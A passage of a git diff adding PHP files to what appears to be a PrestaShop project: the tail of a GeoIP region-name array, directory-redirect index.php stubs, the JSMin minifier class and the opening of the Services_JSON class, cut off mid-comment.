+ "07" => "Dayr az Zawr", + "08" => "Rif Dimashq", + "09" => "Halab", + "10" => "Hamah", + "11" => "Hims", + "12" => "Idlib", + "13" => "Dimashq", + "14" => "Tartus"), +"SZ" => array( + "01" => "Hhohho", + "02" => "Lubombo", + "03" => "Manzini", + "04" => "Shiselweni", + "05" => "Praslin"), +"TD" => array( + "01" => "Batha", + "02" => "Biltine", + "03" => "Borkou-Ennedi-Tibesti", + "04" => "Chari-Baguirmi", + "05" => "Guera", + "06" => "Kanem", + "07" => "Lac", + "08" => "Logone Occidental", + "09" => "Logone Oriental", + "10" => "Mayo-Kebbi", + "11" => "Moyen-Chari", + "12" => "Ouaddai", + "13" => "Salamat", + "14" => "Tandjile"), +"TG" => array( + "22" => "Centrale", + "23" => "Kara", + "24" => "Maritime", + "25" => "Plateaux", + "26" => "Savanes"), +"TH" => array( + "01" => "Mae Hong Son", + "02" => "Chiang Mai", + "03" => "Chiang Rai", + "04" => "Nan", + "05" => "Lamphun", + "06" => "Lampang", + "07" => "Phrae", + "08" => "Tak", + "09" => "Sukhothai", + "10" => "Uttaradit", + "11" => "Kamphaeng Phet", + "12" => "Phitsanulok", + "13" => "Phichit", + "14" => "Phetchabun", + "15" => "Uthai Thani", + "16" => "Nakhon Sawan", + "17" => "Nong Khai", + "18" => "Loei", + "20" => "Sakon Nakhon", + "21" => "Nakhon Phanom", + "22" => "Khon Kaen", + "23" => "Kalasin", + "24" => "Maha Sarakham", + "25" => "Roi Et", + "26" => "Chaiyaphum", + "27" => "Nakhon Ratchasima", + "28" => "Buriram", + "29" => "Surin", + "30" => "Sisaket", + "31" => "Narathiwat", + "32" => "Chai Nat", + "33" => "Sing Buri", + "34" => "Lop Buri", + "35" => "Ang Thong", + "36" => "Phra Nakhon Si Ayutthaya", + "37" => "Saraburi", + "38" => "Nonthaburi", + "39" => "Pathum Thani", + "40" => "Krung Thep", + "41" => "Phayao", + "42" => "Samut Prakan", + "43" => "Nakhon Nayok", + "44" => "Chachoengsao", + "45" => "Prachin Buri", + "46" => "Chon Buri", + "47" => "Rayong", + "48" => "Chanthaburi", + "49" => "Trat", + "50" => "Kanchanaburi", + "51" => "Suphan Buri", + "52" => "Ratchaburi", + "53" => "Nakhon Pathom", + "54" => "Samut Songkhram", + "55" => "Samut Sakhon", + "56" => "Phetchaburi", + "57" => "Prachuap Khiri Khan", + "58" => "Chumphon", + "59" => "Ranong", + "60" => "Surat Thani", + "61" => "Phangnga", + "62" => "Phuket", + "63" => "Krabi", + "64" => "Nakhon Si Thammarat", + "65" => "Trang", + "66" => "Phatthalung", + "67" => "Satun", + "68" => "Songkhla", + "69" => "Pattani", + "70" => "Yala", + "71" => "Ubon Ratchathani", + "72" => "Yasothon", + "73" => "Nakhon Phanom", + "75" => "Ubon Ratchathani", + "76" => "Udon Thani", + "77" => "Amnat Charoen", + "78" => "Mukdahan", + "79" => "Nong Bua Lamphu", + "80" => "Sa Kaeo"), +"TJ" => array( + "01" => "Kuhistoni Badakhshon", + "02" => "Khatlon", + "03" => "Sughd"), +"TM" => array( + "01" => "Ahal", + "02" => "Balkan", + "03" => "Dashoguz", + "04" => "Lebap", + "05" => "Mary"), +"TN" => array( + "02" => "Kasserine", + "03" => "Kairouan", + "06" => "Jendouba", + "10" => "Qafsah", + "14" => "El Kef", + "15" => "Al Mahdia", + "16" => "Al Munastir", + "17" => "Bajah", + "18" => "Bizerte", + "19" => "Nabeul", + "22" => "Siliana", + "23" => "Sousse", + "27" => "Ben Arous", + "28" => "Madanin", + "29" => "Gabes", + "31" => "Kebili", + "32" => "Sfax", + "33" => "Sidi Bou Zid", + "34" => "Tataouine", + "35" => "Tozeur", + "36" => "Tunis", + "37" => "Zaghouan", + "38" => "Aiana", + "39" => "Manouba"), +"TO" => array( + "01" => "Ha", + "02" => "Tongatapu", + "03" => "Vava"), +"TR" => array( + "02" => "Adiyaman", + "03" => "Afyonkarahisar", + "04" => "Agri", + "05" => "Amasya", + "07" => "Antalya", + "08" => "Artvin", + "09" => "Aydin", + "10" => "Balikesir", + "11" => "Bilecik", + "12" => "Bingol", + "13" => "Bitlis", + "14" => "Bolu", + "15" => "Burdur", + "16" => "Bursa", + "17" => "Canakkale", + "19" => "Corum", + "20" => "Denizli", + "21" => "Diyarbakir", + "22" => "Edirne", + "23" => "Elazig", + "24" => "Erzincan", + "25" => "Erzurum", + "26" => "Eskisehir", + "28" => "Giresun", + "31" => "Hatay", + "32" => "Mersin", + "33" => "Isparta", + "34" => "Istanbul", + "35" => "Izmir", + "37" => "Kastamonu", + "38" => "Kayseri", + "39" => "Kirklareli", + "40" => "Kirsehir", + "41" => "Kocaeli", + "43" => "Kutahya", + "44" => "Malatya", + "45" => "Manisa", + "46" => "Kahramanmaras", + "48" => "Mugla", + "49" => "Mus", + "50" => "Nevsehir", + "52" => "Ordu", + "53" => "Rize", + "54" => "Sakarya", + "55" => "Samsun", + "57" => "Sinop", + "58" => "Sivas", + "59" => "Tekirdag", + "60" => "Tokat", + "61" => "Trabzon", + "62" => "Tunceli", + "63" => "Sanliurfa", + "64" => "Usak", + "65" => "Van", + "66" => "Yozgat", + "68" => "Ankara", + "69" => "Gumushane", + "70" => "Hakkari", + "71" => "Konya", + "72" => "Mardin", + "73" => "Nigde", + "74" => "Siirt", + "75" => "Aksaray", + "76" => "Batman", + "77" => "Bayburt", + "78" => "Karaman", + "79" => "Kirikkale", + "80" => "Sirnak", + "81" => "Adana", + "82" => "Cankiri", + "83" => "Gaziantep", + "84" => "Kars", + "85" => "Zonguldak", + "86" => "Ardahan", + "87" => "Bartin", + "88" => "Igdir", + "89" => "Karabuk", + "90" => "Kilis", + "91" => "Osmaniye", + "92" => "Yalova", + "93" => "Duzce"), +"TT" => array( + "01" => "Arima", + "02" => "Caroni", + "03" => "Mayaro", + "04" => "Nariva", + "05" => "Port-of-Spain", + "06" => "Saint Andrew", + "07" => "Saint David", + "08" => "Saint George", + "09" => "Saint Patrick", + "10" => "San Fernando", + "11" => "Tobago", + "12" => "Victoria"), +"TW" => array( + "01" => "Fu-chien", + "02" => "Kao-hsiung", + "03" => "T'ai-pei", + "04" => "T'ai-wan"), +"TZ" => array( + "02" => "Pwani", + "03" => "Dodoma", + "04" => "Iringa", + "05" => "Kigoma", + "06" => "Kilimanjaro", + "07" => "Lindi", + "08" => "Mara", + "09" => "Mbeya", + "10" => "Morogoro", + "11" => "Mtwara", + "12" => "Mwanza", + "13" => "Pemba North", + "14" => "Ruvuma", + "15" => "Shinyanga", + "16" => "Singida", + "17" => "Tabora", + "18" => "Tanga", + "19" => "Kagera", + "20" => "Pemba South", + "21" => "Zanzibar Central", + "22" => "Zanzibar North", + "23" => "Dar es Salaam", + "24" => "Rukwa", + "25" => "Zanzibar Urban", + "26" => "Arusha", + "27" => "Manyara"), +"UA" => array( + "01" => "Cherkas'ka Oblast'", + "02" => "Chernihivs'ka Oblast'", + "03" => "Chernivets'ka Oblast'", + "04" => "Dnipropetrovs'ka Oblast'", + "05" => "Donets'ka Oblast'", + "06" => "Ivano-Frankivs'ka Oblast'", + "07" => "Kharkivs'ka Oblast'", + "08" => "Khersons'ka Oblast'", + "09" => "Khmel'nyts'ka Oblast'", + "10" => "Kirovohrads'ka Oblast'", + "11" => "Krym", + "12" => "Kyyiv", + "13" => "Kyyivs'ka Oblast'", + "14" => "Luhans'ka Oblast'", + "15" => "L'vivs'ka Oblast'", + "16" => "Mykolayivs'ka Oblast'", + "17" => "Odes'ka Oblast'", + "18" => "Poltavs'ka Oblast'", + "19" => "Rivnens'ka Oblast'", + "20" => "Sevastopol'", + "21" => "Sums'ka Oblast'", + "22" => "Ternopil's'ka Oblast'", + "23" => "Vinnyts'ka Oblast'", + "24" => "Volyns'ka Oblast'", + "25" => "Zakarpats'ka Oblast'", + "26" => "Zaporiz'ka Oblast'", + "27" => "Zhytomyrs'ka Oblast'"), +"UG" => array( + "26" => "Apac", + "28" => "Bundibugyo", + "29" => "Bushenyi", + "30" => "Gulu", + "31" => "Hoima", + "33" => "Jinja", + "36" => "Kalangala", + "37" => "Kampala", + "38" => "Kamuli", + "39" => "Kapchorwa", + "40" => "Kasese", + "41" => "Kibale", + "42" => "Kiboga", + "43" => "Kisoro", + "45" => "Kotido", + "46" => "Kumi", + "47" => "Lira", + "50" => "Masindi", + "52" => "Mbarara", + "56" => "Mubende", + "58" => "Nebbi", + "59" => "Ntungamo", + "60" => "Pallisa", + "61" => "Rakai", + "65" => "Adjumani", + "66" => "Bugiri", + "67" => "Busia", + "69" => "Katakwi", + "70" => "Luwero", + "71" => "Masaka", + "72" => "Moyo", + "73" => "Nakasongola", + "74" => "Sembabule", + "76" => "Tororo", + "77" => "Arua", + "78" => "Iganga", + "79" => "Kabarole", + "80" => "Kaberamaido", + "81" => "Kamwenge", + "82" => "Kanungu", + "83" => "Kayunga", + "84" => "Kitgum", + "85" => "Kyenjojo", + "86" => "Mayuge", + "87" => "Mbale", + "88" => "Moroto", + "89" => "Mpigi", + "90" => "Mukono", + "91" => "Nakapiripirit", + "92" => "Pader", + "93" => "Rukungiri", + "94" => "Sironko", + "95" => "Soroti", + "96" => "Wakiso", + "97" => "Yumbe"), +"US" => array( + "AA" => "Armed Forces Americas", + "AE" => "Armed Forces Europe, Middle East, & Canada", + "AK" => "Alaska", + "AL" => "Alabama", + "AP" => "Armed Forces Pacific", + "AR" => "Arkansas", + "AS" => "American Samoa", + "AZ" => "Arizona", + "CA" => "California", + "CO" => "Colorado", + "CT" => "Connecticut", + "DC" => "District of Columbia", + "DE" => "Delaware", + "FL" => "Florida", + "FM" => "Federated States of Micronesia", + "GA" => "Georgia", + "GU" => "Guam", + "HI" => "Hawaii", + "IA" => "Iowa", + "ID" => "Idaho", + "IL" => "Illinois", + "IN" => "Indiana", + "KS" => "Kansas", + "KY" => "Kentucky", + "LA" => "Louisiana", + "MA" => "Massachusetts", + "MD" => "Maryland", + "ME" => "Maine", + "MH" => "Marshall Islands", + "MI" => "Michigan", + "MN" => "Minnesota", + "MO" => "Missouri", + "MP" => "Northern Mariana Islands", + "MS" => "Mississippi", + "MT" => "Montana", + "NC" => "North Carolina", + "ND" => "North Dakota", + "NE" => "Nebraska", + "NH" => "New Hampshire", + "NJ" => "New Jersey", + "NM" => "New Mexico", + "NV" => "Nevada", + "NY" => "New York", + "OH" => "Ohio", + "OK" => "Oklahoma", + "OR" => "Oregon", + "PA" => "Pennsylvania", + "PR" => "Puerto Rico", + "PW" => "Palau", + "RI" => "Rhode Island", + "SC" => "South Carolina", + "SD" => "South Dakota", + "TN" => "Tennessee", + "TX" => "Texas", + "UT" => "Utah", + "VA" => "Virginia", + "VI" => "Virgin Islands", + "VT" => "Vermont", + "WA" => "Washington", + "WI" => "Wisconsin", + "WV" => "West Virginia", + "WY" => "Wyoming"), +"UY" => array( + "01" => "Artigas", + "02" => "Canelones", + "03" => "Cerro Largo", + "04" => "Colonia", + "05" => "Durazno", + "06" => "Flores", + "07" => "Florida", + "08" => "Lavalleja", + "09" => "Maldonado", + "10" => "Montevideo", + "11" => "Paysandu", + "12" => "Rio Negro", + "13" => "Rivera", + "14" => "Rocha", + "15" => "Salto", + "16" => "San Jose", + "17" => "Soriano", + "18" => "Tacuarembo", + "19" => "Treinta y Tres"), +"UZ" => array( + "01" => "Andijon", + "02" => "Bukhoro", + "03" => "Farghona", + "04" => "Jizzakh", + "05" => "Khorazm", + "06" => "Namangan", + "07" => "Nawoiy", + "08" => "Qashqadaryo", + "09" => "Qoraqalpoghiston", + "10" => "Samarqand", + "11" => "Sirdaryo", + "12" => "Surkhondaryo", + "13" => "Toshkent", + "14" => "Toshkent"), +"VC" => array( + "01" => "Charlotte", + "02" => "Saint Andrew", + "03" => "Saint David", + "04" => "Saint George", + "05" => "Saint Patrick", + "06" => "Grenadines"), +"VE" => array( + "01" => "Amazonas", + "02" => "Anzoategui", + "03" => "Apure", + "04" => "Aragua", + "05" => "Barinas", + "06" => "Bolivar", + "07" => "Carabobo", + "08" => "Cojedes", + "09" => "Delta Amacuro", + "11" => "Falcon", + "12" => "Guarico", + "13" => "Lara", + "14" => "Merida", + "15" => "Miranda", + "16" => "Monagas", + "17" => "Nueva Esparta", + "18" => "Portuguesa", + "19" => "Sucre", + "20" => "Tachira", + "21" => "Trujillo", + "22" => "Yaracuy", + "23" => "Zulia", + "24" => "Dependencias Federales", + "25" => "Distrito Federal", + "26" => "Vargas"), +"VN" => array( + "01" => "An Giang", + "03" => "Ben Tre", + "05" => "Cao Bang", + "09" => "Dong Thap", + "13" => "Hai Phong", + "20" => "Ho Chi Minh", + "21" => "Kien Giang", + "23" => "Lam Dong", + "24" => "Long An", + "30" => "Quang Ninh", + "32" => "Son La", + "33" => "Tay Ninh", + "34" => "Thanh Hoa", + "35" => "Thai Binh", + "37" => "Tien Giang", + "39" => "Lang Son", + "43" => "An Giang", + "44" => "Dac Lac", + "45" => "Dong Nai", + "46" => "Dong Thap", + "47" => "Kien Giang", + "49" => "Song Be", + "50" => "Vinh Phu", + "51" => "Ha Noi", + "52" => "Ho Chi Minh", + "53" => "Ba Ria-Vung Tau", + "54" => "Binh Dinh", + "55" => "Binh Thuan", + "58" => "Ha Giang", + "59" => "Ha Tay", + "60" => "Ha Tinh", + "61" => "Hoa Binh", + "62" => "Khanh Hoa", + "63" => "Kon Tum", + "64" => "Quang Tri", + "65" => "Nam Ha", + "66" => "Nghe An", + "67" => "Ninh Binh", + "68" => "Ninh Thuan", + "69" => "Phu Yen", + "70" => "Quang Binh", + "71" => "Quang Ngai", + "72" => "Quang Tri", + "73" => "Soc Trang", + "74" => "Thua Thien", + "75" => "Tra Vinh", + "76" => "Tuyen Quang", + "77" => "Vinh Long", + "78" => "Da Nang", + "79" => "Hai Duong", + "80" => "Ha Nam", + "81" => "Hung Yen", + "82" => "Nam Dinh", + "83" => "Phu Tho", + "84" => "Quang Nam", + "85" => "Thai Nguyen", + "86" => "Vinh Puc Province", + "87" => "Can Tho", + "88" => "Dak Lak", + "89" => "Lai Chau", + "90" => "Lao Cai", + "91" => "Dak Nong", + "92" => "Dien Bien", + "93" => "Hau Giang"), +"VU" => array( + "05" => "Ambrym", + "06" => "Aoba", + "07" => "Torba", + "08" => "Efate", + "09" => "Epi", + "10" => "Malakula", + "11" => "Paama", + "12" => "Pentecote", + "13" => "Sanma", + "14" => "Shepherd", + "15" => "Tafea", + "16" => "Malampa", + "17" => "Penama", + "18" => "Shefa"), +"WS" => array( + "02" => "Aiga-i-le-Tai", + "03" => "Atua", + "04" => "Fa", + "05" => "Gaga", + "06" => "Va", + "07" => "Gagaifomauga", + "08" => "Palauli", + "09" => "Satupa", + "10" => "Tuamasaga", + "11" => "Vaisigano"), +"YE" => array( + "01" => "Abyan", + "02" => "Adan", + "03" => "Al Mahrah", + "04" => "Hadramawt", + "05" => "Shabwah", + "06" => "Lahij", + "07" => "Al Bayda'", + "08" => "Al Hudaydah", + "09" => "Al Jawf", + "10" => "Al Mahwit", + "11" => "Dhamar", + "12" => "Hajjah", + "13" => "Ibb", + "14" => "Ma'rib", + "15" => "Sa'dah", + "16" => "San'a'", + "17" => "Taizz", + "18" => "Ad Dali", + "19" => "Amran", + "20" => "Al Bayda'", + "21" => "Al Jawf", + "22" => "Hajjah", + "23" => "Ibb", + "24" => "Lahij", + "25" => "Taizz"), +"ZA" => array( + "01" => "North-Western Province", + "02" => "KwaZulu-Natal", + "03" => "Free State", + "05" => "Eastern Cape", + "06" => "Gauteng", + "07" => "Mpumalanga", + "08" => "Northern Cape", + "09" => "Limpopo", + "10" => "North-West", + "11" => "Western Cape"), +"ZM" => array( + "01" => "Western", + "02" => "Central", + "03" => "Eastern", + "04" => "Luapula", + "05" => "Northern", + "06" => "North-Western", + "07" => "Southern", + "08" => "Copperbelt", + "09" => "Lusaka"), +"ZW" => array( + "01" => "Manicaland", + "02" => "Midlands", + "03" => "Mashonaland Central", + "04" => "Mashonaland East", + "05" => "Mashonaland West", + "06" => "Matabeleland North", + "07" => "Matabeleland South", + "08" => "Masvingo", + "09" => "Bulawayo", + "10" => "Harare") +); +?> diff --git a/tools/geoip/index.php b/tools/geoip/index.php new file mode 100755 index 0000000..f42f03e --- /dev/null +++ b/tools/geoip/index.php @@ -0,0 +1,35 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header("Expires: Mon, 26 Jul 1997 05:00:00 GMT"); +header("Last-Modified: ".gmdate("D, d M Y H:i:s")." GMT"); + +header("Cache-Control: no-store, no-cache, must-revalidate"); +header("Cache-Control: post-check=0, pre-check=0", false); +header("Pragma: no-cache"); + +header("Location: ../"); +exit; \ No newline at end of file diff --git a/tools/index.php b/tools/index.php new file mode 100755 index 0000000..52b4e5c --- /dev/null +++ b/tools/index.php @@ -0,0 +1,35 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header("Expires: Mon, 26 Jul 1997 05:00:00 GMT"); +header("Last-Modified: ".gmdate("D, d M Y H:i:s")." GMT"); + +header("Cache-Control: no-store, no-cache, must-revalidate"); +header("Cache-Control: post-check=0, pre-check=0", false); +header("Pragma: no-cache"); + +header("Location: ../"); +exit; diff --git a/tools/js_minify/index.php b/tools/js_minify/index.php new file mode 100755 index 0000000..f42f03e --- /dev/null +++ b/tools/js_minify/index.php @@ -0,0 +1,35 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header("Expires: Mon, 26 Jul 1997 05:00:00 GMT"); +header("Last-Modified: ".gmdate("D, d M Y H:i:s")." GMT"); + +header("Cache-Control: no-store, no-cache, must-revalidate"); +header("Cache-Control: post-check=0, pre-check=0", false); +header("Pragma: no-cache"); + +header("Location: ../"); +exit; \ No newline at end of file diff --git a/tools/js_minify/jsmin.php b/tools/js_minify/jsmin.php new file mode 100755 index 0000000..b6879f3 --- /dev/null +++ b/tools/js_minify/jsmin.php @@ -0,0 +1,385 @@ + + * $minifiedJs = JSMin::minify($js); + * + * + * This is a modified port of jsmin.c. Improvements: + * + * Does not choke on some regexp literals containing quote characters. E.g. /'/ + * + * Spaces are preserved after some add/sub operators, so they are not mistakenly + * converted to post-inc/dec. E.g. a + ++b -> a+ ++b + * + * Preserves multi-line comments that begin with /*! + * + * PHP 5 or higher is required. + * + * Permission is hereby granted to use this version of the library under the + * same terms as jsmin.c, which has the following license: + * + * -- + * Copyright (c) 2002 Douglas Crockford (www.crockford.com) + * + * Permission is hereby granted, free of charge, to any person obtaining a copy of + * this software and associated documentation files (the "Software"), to deal in + * the Software without restriction, including without limitation the rights to + * use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies + * of the Software, and to permit persons to whom the Software is furnished to do + * so, subject to the following conditions: + * + * The above copyright notice and this permission notice shall be included in all + * copies or substantial portions of the Software. + * + * The Software shall be used for Good, not Evil. + * + * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR + * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, + * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE + * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER + * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, + * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE + * SOFTWARE. + * -- + * + * @package JSMin + * @author Ryan Grove (PHP port) + * @author Steve Clay (modifications + cleanup) + * @author Andrea Giammarchi (spaceBeforeRegExp) + * @copyright 2002 Douglas Crockford (jsmin.c) + * @copyright 2008 Ryan Grove (PHP port) + * @license http://opensource.org/licenses/mit-license.php MIT License + * @link http://code.google.com/p/jsmin-php/ + */ + +class JSMin { + const ORD_LF = 10; + const ORD_SPACE = 32; + const ACTION_KEEP_A = 1; + const ACTION_DELETE_A = 2; + const ACTION_DELETE_A_B = 3; + + protected $a = "\n"; + protected $b = ''; + protected $input = ''; + protected $inputIndex = 0; + protected $inputLength = 0; + protected $lookAhead = null; + protected $output = ''; + protected $lastByteOut = ''; + + /** + * Minify Javascript. + * + * @param string $js Javascript to be minified + * + * @return string + */ + public static function minify($js) + { + $jsmin = new JSMin($js); + return $jsmin->min(); + } + + /** + * @param string $input + */ + public function __construct($input) + { + $this->input = $input; + } + + /** + * Perform minification, return result + * + * @return string + */ + public function min() + { + if ($this->output !== '') { // min already run + return $this->output; + } + + $mbIntEnc = null; + if (function_exists('mb_strlen') && ((int)ini_get('mbstring.func_overload') & 2)) { + $mbIntEnc = mb_internal_encoding(); + mb_internal_encoding('8bit'); + } + $this->input = str_replace("\r\n", "\n", $this->input); + $this->inputLength = strlen($this->input); + + $this->action(self::ACTION_DELETE_A_B); + + while ($this->a !== null) { + // determine next command + $command = self::ACTION_KEEP_A; // default + if ($this->a === ' ') { + if (($this->lastByteOut === '+' || $this->lastByteOut === '-') + && ($this->b === $this->lastByteOut)) { + // Don't delete this space. If we do, the addition/subtraction + // could be parsed as a post-increment + } elseif (! $this->isAlphaNum($this->b)) { + $command = self::ACTION_DELETE_A; + } + } elseif ($this->a === "\n") { + if ($this->b === ' ') { + $command = self::ACTION_DELETE_A_B; + // in case of mbstring.func_overload & 2, must check for null b, + // otherwise mb_strpos will give WARNING + } elseif ($this->b === null + || (false === strpos('{[(+-', $this->b) + && ! $this->isAlphaNum($this->b))) { + $command = self::ACTION_DELETE_A; + } + } elseif (! $this->isAlphaNum($this->a)) { + if ($this->b === ' ' + || ($this->b === "\n" + && (false === strpos('}])+-"\'', $this->a)))) { + $command = self::ACTION_DELETE_A_B; + } + } + $this->action($command); + } + $this->output = trim($this->output); + + if ($mbIntEnc !== null) { + mb_internal_encoding($mbIntEnc); + } + return $this->output; + } + + /** + * ACTION_KEEP_A = Output A. Copy B to A. Get the next B. + * ACTION_DELETE_A = Copy B to A. Get the next B. + * ACTION_DELETE_A_B = Get the next B. + * + * @param int $command + * @throws JSMin_UnterminatedRegExpException|JSMin_UnterminatedStringException + */ + protected function action($command) + { + if ($command === self::ACTION_DELETE_A_B + && $this->b === ' ' + && ($this->a === '+' || $this->a === '-')) { + // Note: we're at an addition/substraction operator; the inputIndex + // will certainly be a valid index + if ($this->input[$this->inputIndex] === $this->a) { + // This is "+ +" or "- -". Don't delete the space. + $command = self::ACTION_KEEP_A; + } + } + switch ($command) { + case self::ACTION_KEEP_A: + $this->output .= $this->a; + $this->lastByteOut = $this->a; + + // fallthrough + case self::ACTION_DELETE_A: + $this->a = $this->b; + if ($this->a === "'" || $this->a === '"') { // string literal + $str = $this->a; // in case needed for exception + while (true) { + $this->output .= $this->a; + $this->lastByteOut = $this->a; + + $this->a = $this->get(); + if ($this->a === $this->b) { // end quote + break; + } + if (ord($this->a) <= self::ORD_LF) { + throw new JSMin_UnterminatedStringException( + "JSMin: Unterminated String at byte " + . $this->inputIndex . ": {$str}"); + } + $str .= $this->a; + if ($this->a === '\\') { + $this->output .= $this->a; + $this->lastByteOut = $this->a; + + $this->a = $this->get(); + $str .= $this->a; + } + } + } + // fallthrough + case self::ACTION_DELETE_A_B: + $this->b = $this->next(); + if ($this->b === '/' && $this->isRegexpLiteral()) { // RegExp literal + $this->output .= $this->a . $this->b; + $pattern = '/'; // in case needed for exception + while (true) { + $this->a = $this->get(); + $pattern .= $this->a; + if ($this->a === '/') { // end pattern + break; // while (true) + } elseif ($this->a === '\\') { + $this->output .= $this->a; + $this->a = $this->get(); + $pattern .= $this->a; + } elseif (ord($this->a) <= self::ORD_LF) { + throw new JSMin_UnterminatedRegExpException( + "JSMin: Unterminated RegExp at byte " + . $this->inputIndex .": {$pattern}"); + } + $this->output .= $this->a; + $this->lastByteOut = $this->a; + } + $this->b = $this->next(); + } + // end case ACTION_DELETE_A_B + } + } + + /** + * @return bool + */ + protected function isRegexpLiteral() + { + if (false !== strpos("\n{;(,=:[!&|?", $this->a)) { // we aren't dividing + return true; + } + if (' ' === $this->a) { + $length = strlen($this->output); + if ($length < 2) { // weird edge case + return true; + } + // you can't divide a keyword + if (preg_match('/(?:case|else|in|return|typeof)$/', $this->output, $m)) { + if ($this->output === $m[0]) { // odd but could happen + return true; + } + // make sure it's a keyword, not end of an identifier + $charBeforeKeyword = substr($this->output, $length - strlen($m[0]) - 1, 1); + if (! $this->isAlphaNum($charBeforeKeyword)) { + return true; + } + } + } + return false; + } + + /** + * Get next char. Convert ctrl char to space. + * + * @return string + */ + protected function get() + { + $c = $this->lookAhead; + $this->lookAhead = null; + if ($c === null) { + if ($this->inputIndex < $this->inputLength) { + $c = $this->input[$this->inputIndex]; + $this->inputIndex += 1; + } else { + return null; + } + } + if ($c === "\r" || $c === "\n") { + return "\n"; + } + if (ord($c) < self::ORD_SPACE) { // control char + return ' '; + } + return $c; + } + + /** + * Get next char. If is ctrl character, translate to a space or newline. + * + * @return string + */ + protected function peek() + { + $this->lookAhead = $this->get(); + return $this->lookAhead; + } + + /** + * Is $c a letter, digit, underscore, dollar sign, escape, or non-ASCII? + * + * @param string $c + * + * @return bool + */ + protected function isAlphaNum($c) + { + return (preg_match('/^[0-9a-zA-Z_\\$\\\\]$/', $c) || ord($c) > 126); + } + + /** + * @return string + */ + protected function singleLineComment() + { + $comment = ''; + while (true) { + $get = $this->get(); + $comment .= $get; + if (ord($get) <= self::ORD_LF) { // EOL reached + // if IE conditional comment + if (preg_match('/^\\/@(?:cc_on|if|elif|else|end)\\b/', $comment)) { + return "/{$comment}"; + } + return $get; + } + } + } + + /** + * @return string + * @throws JSMin_UnterminatedCommentException + */ + protected function multipleLineComment() + { + $this->get(); + $comment = ''; + while (true) { + $get = $this->get(); + if ($get === '*') { + if ($this->peek() === '/') { // end of comment reached + $this->get(); + // if comment preserved by YUI Compressor + if (0 === strpos($comment, '!')) { + return "\n/*!" . substr($comment, 1) . "*/\n"; + } + // if IE conditional comment + if (preg_match('/^@(?:cc_on|if|elif|else|end)\\b/', $comment)) { + return "/*{$comment}*/"; + } + return ' '; + } + } elseif ($get === null) { + throw new JSMin_UnterminatedCommentException( + "JSMin: Unterminated comment at byte " + . $this->inputIndex . ": /*{$comment}"); + } + $comment .= $get; + } + } + + /** + * Get the next character, skipping over comments. + * Some comments may be preserved. + * + * @return string + */ + protected function next() + { + $get = $this->get(); + if ($get !== '/') { + return $get; + } + switch ($this->peek()) { + case '/': return $this->singleLineComment(); + case '*': return $this->multipleLineComment(); + default: return $get; + } + } +} + +class JSMin_UnterminatedStringException extends Exception {} +class JSMin_UnterminatedCommentException extends Exception {} +class JSMin_UnterminatedRegExpException extends Exception {} diff --git a/tools/json/index.php b/tools/json/index.php new file mode 100755 index 0000000..f42f03e --- /dev/null +++ b/tools/json/index.php @@ -0,0 +1,35 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header("Expires: Mon, 26 Jul 1997 05:00:00 GMT"); +header("Last-Modified: ".gmdate("D, d M Y H:i:s")." GMT"); + +header("Cache-Control: no-store, no-cache, must-revalidate"); +header("Cache-Control: post-check=0, pre-check=0", false); +header("Pragma: no-cache"); + +header("Location: ../"); +exit; \ No newline at end of file diff --git a/tools/json/json.php b/tools/json/json.php new file mode 100755 index 0000000..9589994 --- /dev/null +++ b/tools/json/json.php @@ -0,0 +1,804 @@ + + * @author Matt Knapp + * @author Brett Stimmerman + * @copyright 2005 Michal Migurski + * @version CVS: $Id: json.php 6844 2011-06-03 14:46:51Z dMetzger $ + * @license http://www.opensource.org/licenses/bsd-license.php + * @link http://pear.php.net/pepr/pepr-proposal-show.php?id=198 + */ + +/** + * Marker constant for Services_JSON::decode(), used to flag stack state + */ +define('SERVICES_JSON_SLICE', 1); + +/** + * Marker constant for Services_JSON::decode(), used to flag stack state + */ +define('SERVICES_JSON_IN_STR', 2); + +/** + * Marker constant for Services_JSON::decode(), used to flag stack state + */ +define('SERVICES_JSON_IN_ARR', 3); + +/** + * Marker constant for Services_JSON::decode(), used to flag stack state + */ +define('SERVICES_JSON_IN_OBJ', 4); + +/** + * Marker constant for Services_JSON::decode(), used to flag stack state + */ +define('SERVICES_JSON_IN_CMT', 5); + +/** + * Behavior switch for Services_JSON::decode() + */ +define('SERVICES_JSON_LOOSE_TYPE', 16); + +/** + * Behavior switch for Services_JSON::decode() + */ +define('SERVICES_JSON_SUPPRESS_ERRORS', 32); + +/** + * Converts to and from JSON format. + * + * Brief example of use: + * + * + * // create a new instance of Services_JSON + * $json = new Services_JSON(); + * + * // convert a complexe value to JSON notation, and send it to the browser + * $value = array('foo', 'bar', array(1, 2, 'baz'), array(3, array(4))); + * $output = $json->encode($value); + * + * print($output); + * // prints: ["foo","bar",[1,2,"baz"],[3,[4]]] + * + * // accept incoming POST data, assumed to be in JSON notation + * $input = file_get_contents('php://input', 1000000); + * $value = $json->decode($input); + * + */ +class Services_JSON +{ + /** + * constructs a new JSON instance + * + * @param int $use object behavior flags; combine with boolean-OR + * + * possible values: + * - SERVICES_JSON_LOOSE_TYPE: loose typing. + * "{...}" syntax creates associative arrays + * instead of objects in decode(). + * - SERVICES_JSON_SUPPRESS_ERRORS: error suppression. + * Values which can't be encoded (e.g. resources) + * appear as NULL instead of throwing errors. + * By default, a deeply-nested resource will + * bubble up with an error, so all return values + * from encode() should be 